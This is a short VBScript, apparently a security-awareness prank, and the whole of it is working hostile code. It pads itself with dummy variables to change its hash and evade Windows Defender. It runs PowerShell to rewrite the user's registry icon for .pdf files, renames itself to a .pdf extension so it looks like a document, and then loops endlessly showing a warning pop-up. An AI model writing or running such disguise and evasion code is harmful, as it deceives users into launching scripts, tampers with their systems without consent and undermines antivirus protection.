On Error Resume Next

' === VARIABLES FALSAS PARA CAMBIAR EL HASH (Anti-Defender) ===
Dim Ciber, Segur, Ecomputer, FechaInicio
Ciber = "Ciberseguridad"
Segur = "Ecomputer"
Ecomputer = 9827364510
' Se usa el valor numérico 0 para mayor compatibilidad universal con VBScript
FechaInicio = FormatDateTime(Now(), 0)

' === CAMBIAR ICONO A PDF Y RENOMBRARSE ===
Set WshShell = CreateObject("WScript.Shell")
oldName = WScript.ScriptFullName
newName = Left(oldName, Len(oldName)-4) & ".pdf"

' Asignar icono genérico de PDF a la extensión .pdf en el registro actual
' Se asegura que PowerShell no devuelva errores visuales
WshShell.Run "powershell.exe -NoProfile -Command ""New-ItemProperty 'HKCU:\Software\Classes\.pdf\DefaultIcon' -Name '(default)' -Value '%windir%\system32\imageres.dll,-154' -Force > $null"""

' Renombrar el archivo en tiempo real (Método Copy/Delete para evitar Error 70)
Set fso = CreateObject("Scripting.FileSystemObject")
If Err.Number <> 0 Then Err.Clear ' Limpia errores previos si los hubiera

fso.CopyFile oldName, newName, True ' True sobrescribe si ya existe
WScript.Sleep 150 ' Pausa mínima para que el SO libere el lock del archivo original
fso.DeleteFile oldName

' === BUCLE PRINCIPAL ===
Do
    MsgBox "No abras archivos extra" & Chr(241) & "os !!", vbOKOnly, Ciber
    WScript.Sleep 600 ' Pausa realista para evitar picos de CPU
Loop